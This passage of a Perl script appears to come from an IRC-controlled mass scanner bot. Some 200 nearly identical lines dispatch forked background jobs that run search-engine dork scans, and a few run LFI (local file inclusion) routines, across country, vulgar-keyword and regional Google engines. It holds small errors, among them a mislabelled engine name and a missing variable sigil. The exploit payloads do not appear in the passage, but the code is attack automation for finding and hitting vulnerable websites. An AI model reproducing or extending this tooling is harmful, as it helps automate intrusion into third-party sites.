  481. if ($engine =~ /network/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Network",$type,$nick); } exit; } }
  482. if ($engine =~ /netherlands/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Netherlands",$type,$nick); } exit; } }
  483. if ($engine =~ /organization/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Organization",$type,$nick); } exit; } }
  484. if ($engine =~ /philippines/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Philippines",$type,$nick); } exit; } }
  485. if ($engine =~ /poland/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Poland",$type,$nick); } exit; } }
  486. if ($engine =~ /romania/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Romania",$type,$nick); } exit; } }
  487. if ($engine =~ /russian/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Russian",$type,$nick); } exit; } }
  488. if ($engine =~ /thailand/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Thailand",$type,$nick); } exit; } }
  489. if ($engine =~ /ukraine/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Ukraine",$type,$nick); } exit; } }
  490. if ($engine =~ /england/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"England",$type,$nick); } exit; } }
  491. if ($engine =~ /usa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"USA",$type,$nick); } exit; } }
  492. if ($engine =~ /slovenia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Slovenia",$type,$nick); } exit; } }
  493. if ($engine =~ /belgium/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Belgium",$type,$nick); } exit; } }
  494. if ($engine =~ /bussines/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bussines",$type,$nick); } exit; } }
  495. if ($engine =~ /southafrica/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SouthAfrica",$type,$nick); } exit; } }
  496. if ($engine =~ /vietnam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Vietnam",$type,$nick); } exit; } }
  497. if ($engine =~ /tuvalu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Tuvalu",$type,$nick); } exit; } }
  498. if ($engine =~ /cocos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cocos",$type,$nick); } exit; } }
  499. if ($engine =~ /turky/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Turky",$type,$nick); } exit; } }
  500. if ($engine =~ /asia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Asia",$type,$nick); } exit; } }
  501. if ($engine =~ /serbia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Serbia",$type,$nick); } exit; } }
  502. if ($engine =~ /singapore/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Singapore",$type,$nick); } exit; } }
  503. if ($engine =~ /taiwan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Taiwan",$type,$nick); } exit; } }
  504. if ($engine =~ /sweden/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Sweden",$type,$nick); } exit; } }
  505. if ($engine =~ /pakistan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Pakistan",$type,$nick); } exit; } }
  506. if ($engine =~ /norway/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Norway",$type,$nick); } exit; } }
  507. if ($engine =~ /montenegro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Montenegro",$type,$nick); } exit; } }
  508. if ($engine =~ /greece/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Greece",$type,$nick); } exit; } }
  509. if ($engine =~ /education/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Education",$type,$nick); } exit; } }
  510. if ($engine =~ /goverment/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Goverment",$type,$nick); } exit; } }
  511. if ($engine =~ /kazakhstan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Kazakhstan",$type,$nick); } exit; } }
  512. if ($engine =~ /afganistan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &lfi($chan,$bug,dork,"Afganistan",$type,$nick); } exit; } }
  513. if ($engine =~ /albania/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Albania",$type,$nick); } exit; } }
  514. if ($engine =~ /algeria/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Algeria",$type,$nick); } exit; } }
  515. if ($engine =~ /angola/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Angola",$type,$nick); } exit; } }
  516. if ($engine =~ /armenia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Armenia",$type,$nick); } exit; } }
  517. if ($engine =~ /azerbaijan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Azerbaijan",$type,$nick); } exit; } }
  518. if ($engine =~ /bahrain/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bahrain",$type,$nick); } exit; } }
  519. if ($engine =~ /bangladesh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bangladesh",$type,$nick); } exit; } }
  520. if ($engine =~ /belarus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Belarus",$type,$nick); } exit; } }
  521. if ($engine =~ /bhutan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bhutan",$type,$nick); } exit; } }
  522. if ($engine =~ /bolivia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bolivia",$type,$nick); } exit; } }
  523. if ($engine =~ /bosnia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bosnia",$type,$nick); } exit; } }
  524. if ($engine =~ /bulgaria/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bulgaria",$type,$nick); } exit; } }
  525. if ($engine =~ /brunei/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Brunei",$type,$nick); } exit; } }
  526. if ($engine =~ /cambodia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cambodia",$type,$nick); } exit; } }
  527. if ($engine =~ /cameroon/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cameroon",$type,$nick); } exit; } }
  528. if ($engine =~ /christmas/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Christmas",$type,$nick); } exit; } }
  529. if ($engine =~ /costarika/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CostaRika",$type,$nick); } exit; } }
  530. if ($engine =~ /croatia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Croatia",$type,$nick); } exit; } }
  531. if ($engine =~ /cuba/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cuba",$type,$nick); } exit; } }
  532. if ($engine =~ /cyprus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Cyprus",$type,$nick); } exit; } }
  533. if ($engine =~ /dominican/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Dominican",$type,$nick); } exit; } }
  534. if ($engine =~ /equador/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Equador",$type,$nick); } exit; } }
  535. if ($engine =~ /egypt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Egypt",$type,$nick); } exit; } }
  536. if ($engine =~ /estonia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Estonia",$type,$nick); } exit; } }
  537. if ($engine =~ /finland/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Finland",$type,$nick); } exit; } }
  538. if ($engine =~ /georgia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Georgia",$type,$nick); } exit; } }
  539. if ($engine =~ /ghana/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Ghana",$type,$nick); } exit; } }
  540. if ($engine =~ /grenada/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Grenada",$type,$nick); } exit; } }
  541. if ($engine =~ /honduras/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Honduras",$type,$nick); } exit; } }
  542. if ($engine =~ /hongkong/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Hongkong",$type,$nick); } exit; } }
  543. if ($engine =~ /iceland/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Iceland",$type,$nick); } exit; } }
  544. if ($engine =~ /ireland/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Ireland",$type,$nick); } exit; } }
  545. if ($engine =~ /kenya/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Kenya",$type,$nick); } exit; } }
  546. if ($engine =~ /kuwait/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Kuwait",$type,$nick); } exit; } }
  547. if ($engine =~ /laos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Laos",$type,$nick); } exit; } }
  548. if ($engine =~ /latvia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Latvia",$type,$nick); } exit; } }
  549. if ($engine =~ /liberia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Liberia",$type,$nick); } exit; } }
  550. if ($engine =~ /libyan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Libyan",$type,$nick); } exit; } }
  551. if ($engine =~ /lithuania/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Lithuania",$type,$nick); } exit; } }
  552. if ($engine =~ /macedonia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Macedonia",$type,$nick); } exit; } }
  553. if ($engine =~ /malta/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Malta",$type,$nick); } exit; } }
  554. if ($engine =~ /mongolia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Mongolia",$type,$nick); } exit; } }
  555. if ($engine =~ /mozambique/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Mozambique",$type,$nick); } exit; } }
  556. if ($engine =~ /namibia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Namibia",$type,$nick); } exit; } }
  557. if ($engine =~ /nauru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Nauru",$type,$nick); } exit; } }
  558. if ($engine =~ /nepal/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Nepal",$type,$nick); } exit; } }
  559. if ($engine =~ /newzealand/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NewZealand",$type,$nick); } exit; } }
  560. if ($engine =~ /nigeria/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Nigeria",$type,$nick); } exit; } }
  561. if ($engine =~ /paraguay/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Paraguay",$type,$nick); } exit; } }
  562. if ($engine =~ /peru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Peru",$type,$nick); } exit; } }
  563. if ($engine =~ /portugal/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Portugal",$type,$nick); } exit; } }
  564. if ($engine =~ /puertorico/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PuertoRico",$type,$nick); } exit; } }
  565. if ($engine =~ /qatar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PuertoRico",$type,$nick); } exit; } }
  566. if ($engine =~ /saintlucia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SaintLucia",$type,$nick); } exit; } }
  567. if ($engine =~ /samoa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Samoa",$type,$nick); } exit; } }
  568. if ($engine =~ /saudiarabia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &lfi($chan,$bug,dork,"SaudiArabia",$type,$nick); } exit; } }
  569. if ($engine =~ /senegal/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Senegal",$type,$nick); } exit; } }
  570. if ($engine =~ /slovakia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Slovakia",$type,$nick); } exit; } }
  571. if ($engine =~ /srilanka/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Srilanka",$type,$nick); } exit; } }
  572. if ($engine =~ /swaziland/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Swaziland",$type,$nick); } exit; } }
  573. if ($engine =~ /tajikistan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Tajikistan",$type,$nick); } exit; } }
  574. if ($engine =~ /tanzania/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Tanzania",$type,$nick); } exit; } }
  575. if ($engine =~ /tokelau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Tokelau",$type,$nick); } exit; } }
  576. if ($engine =~ /tonga/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Tonga",$type,$nick); } exit; } }
  577. if ($engine =~ /tunisia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Tunisia",$type,$nick); } exit; } }
  578. if ($engine =~ /uruguay/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Uruguay",$type,$nick); } exit; } }
  579. if ($engine =~ /uzbekistan/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Uzbekistan",$type,$nick); } exit; } }
  580. if ($engine =~ /venezuela/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Venezuela",$type,$nick); } exit; } }
  581. if ($engine =~ /yemen/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Yemen",$type,$nick); } exit; } }
  582. if ($engine =~ /yugoslavia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Yugoslavia",$type,$nick); } exit; } }
  583. if ($engine =~ /zambia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Zambia",$type,$nick); } exit; } }
  584. if ($engine =~ /uganda/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Uganda",$type,$nick); } exit; } }
  585. if ($engine =~ /trinidad/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Trinidad",$type,$nick); } exit; } }
  586. if ($engine =~ /zimbabwe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Zimbabwe",$type,$nick); } exit; } }
  587. if ($engine =~ /kontol/i) {
  588. if (my $pid = fork) { waitpid($pid, 0); }
  589. else { if (fork) { exit; } else {
  590. &type($chan,$bug,$dork,"KonToL",$type,$nick);
  591. } exit; }
  592. }
  593. if ($engine =~ /pepek/i) {
  594. if (my $pid = fork) { waitpid($pid, 0); }
  595. else { if (fork) { exit; } else {
  596. &type($chan,$bug,$dork,"PePek",$type,$nick);
  597. } exit; }
  598. }
  599. if ($engine =~ /tetek/i) {
  600. if (my $pid = fork) { waitpid($pid, 0); }
  601. else { if (fork) { exit; } else {
  602. &type($chan,$bug,$dork,"TeTek",$type,$nick);
  603. } exit; }
  604. }
  605. if ($engine =~ /itil/i) {
  606. if (my $pid = fork) { waitpid($pid, 0); }
  607. else { if (fork) { exit; } else {
  608. &type($chan,$bug,$dork,"ItiL",$type,$nick);
  609. } exit; }
  610. }
  611. if ($engine =~ /vagina/i) {
  612. if (my $pid = fork) { waitpid($pid, 0); }
  613. else { if (fork) { exit; } else {
  614. &type($chan,$bug,$dork,"Vagina",$type,$nick);
  615. } exit; }
  616. }
  617. if ($engine =~ /nennen/i) {
  618. if (my $pid = fork) { waitpid($pid, 0); }
  619. else { if (fork) { exit; } else {
  620. &type($chan,$bug,$dork,"NenNen",$type,$nick);
  621. } exit; }
  622. }
  623. if ($engine =~ /susu/i) {
  624. if (my $pid = fork) { waitpid($pid, 0); }
  625. else { if (fork) { exit; } else {
  626. &type($chan,$bug,$dork,"SuSu",$type,$nick);
  627. } exit; }
  628. }
  629. if ($engine =~ /buahdada/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BuahDada",$type,$nick); } exit; } }
  630. if ($engine =~ /payudara/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PayuDara",$type,$nick); } exit; } }
  631. if ($engine =~ /kentot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Kentot",$type,$nick); } exit; } }
  632. if ($engine =~ /memek/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MeMek",$type,$nick); } exit; } }
  633. if ($engine =~ /emel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"eMeL",$type,$nick); } exit; } }
  634. if ($engine =~ /oral/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OraL",$type,$nick); } exit; } }
  635. if ($engine =~ /klitoris/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Klitoris",$type,$nick); } exit; } }
  636. if ($engine =~ /masturbasi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Masturbasi",$type,$nick); } exit; } }
  637. if ($engine =~ /onani/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Onani",$type,$nick); } exit; } }
  638. if ($engine =~ /sperma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Sperma",$type,$nick); } exit; } }
  639. if ($engine =~ /anal/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AnaL",$type,$nick); } exit; } }
  640. if ($engine =~ /puting/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Puting",$type,$nick); } exit; } }
  641. if ($engine =~ /penis/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Penis",$type,$nick); } exit; } }
  642. if ($engine =~ /googleCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCA",$type,$nick); } exit; } }
  643. if ($engine =~ /googleDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDE",$type,$nick); } exit; } }
  644. if ($engine =~ /googleUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUK",$type,$nick); } exit; } }
  645. if ($engine =~ /googleFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeFR",$type,$nick); } exit; } }
  646. if ($engine =~ /googleES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeES",$type,$nick); } exit; } }
  647. if ($engine =~ /googleIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIT",$type,$nick); } exit; } }
  648. if ($engine =~ /googleNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNL",$type,$nick); } exit; } }
  649. if ($engine =~ /googleBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBE",$type,$nick); } exit; } }
  650. if ($engine =~ /googleCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCH",$type,$nick); } exit; } }
  651. if ($engine =~ /googleSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSE",$type,$nick); } exit; } }
  652. if ($engine =~ /googleDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDK",$type,$nick); } exit; } }
  653. if ($engine =~ /googleNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNO",$type,$nick); } exit; } }
  654. if ($engine =~ /googleNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeNZ",$type,$nick); } exit; } }
  655. if ($engine =~ /googleIE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIE",$type,$nick); } exit; } }
  656. if ($engine =~ /googleBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBR",$type,$nick); } exit; } }
  657. if ($engine =~ /googleAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAR",$type,$nick); } exit; } }
  658. if ($engine =~ /googleCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCO",$type,$nick); } exit; } }
  659. if ($engine =~ /googleCU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCU",$type,$nick); } exit; } }
  660. if ($engine =~ /googleCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCL",$type,$nick); } exit; } }
  661. if ($engine =~ /googleMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMX",$type,$nick); } exit; } }
  662. if ($engine =~ /googleAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAU",$type,$nick); } exit; } }
  663. if ($engine =~ /googleRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRU",$type,$nick); } exit; } }
  664. if ($engine =~ /googleAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAT",$type,$nick); } exit; } }
  665. if ($engine =~ /googlePL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePL",$type,$nick); } exit; } }
  666. if ($engine =~ /googleIL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIL",$type,$nick); } exit; } }
  667. if ($engine =~ /googleTR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTR",$type,$nick); } exit; } }
  668. if ($engine =~ /googleUA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeUA",$type,$nick); } exit; } }
  669. if ($engine =~ /googleGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeGR",$type,$nick); } exit; } }
  670. if ($engine =~ /googleJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeJP",$type,$nick); } exit; } }
  671. if ($engine =~ /googleCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCN",$type,$nick); } exit; } }
  672. if ($engine =~ /googleMY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeMY",$type,$nick); } exit; } }
  673. if ($engine =~ /googleTH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTH",$type,$nick); } exit; } }
  674. if ($engine =~ /googleIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeIN",$type,$nick); } exit; } }
  675. if ($engine =~ /googleKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeKR",$type,$nick); } exit; } }
  676. if ($engine =~ /googleRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRO",$type,$nick); } exit; } }
  677. if ($engine =~ /googleTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeTW",$type,$nick); } exit; } }
